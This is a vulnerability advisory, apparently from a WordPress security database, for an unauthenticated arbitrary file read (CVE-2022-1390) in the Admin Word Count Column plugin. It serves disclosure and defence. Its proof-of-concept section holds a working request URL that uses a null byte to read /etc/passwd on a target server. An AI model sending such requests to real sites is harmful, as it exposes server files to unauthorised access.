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Admin Word Count Column <= 2.2 - Unauthenticated Arbitrary File Read

Description

The plugin does not validate the path parameter given to readfile(), which could allow unauthenticated attackers to read arbitrary files on server running old version of PHP susceptible to the null byte technique. This could also lead to RCE by using a Phar Deserialization technique

Proof of Concept

https://example.com/wp-content/plugins/admin-word-count-column/download-csv.php?path=/etc/passwd\0 

Affects Plugins

admin-word-count-column
No known fix - plugin closed

References

CVE
CVE-2022-1390
URL
https://packetstormsecurity.com/files/166476/
ExploitDB
50845

Classification

Type

TRAVERSAL

OWASP top 10
A1: Injection
CWE
CWE-22

Miscellaneous

Original Researcher

Hassan Khan Yusufzai - Splint3r7

Verified

Yes

WPVDB ID
6293b319-dc4f-4412-9d56-55744246c990

Timeline

Publicly Published

2022-03-27 (about 3 months ago)

Added

2022-03-29 (about 3 months ago)

Last Updated

2022-04-20 (about 2 months ago)

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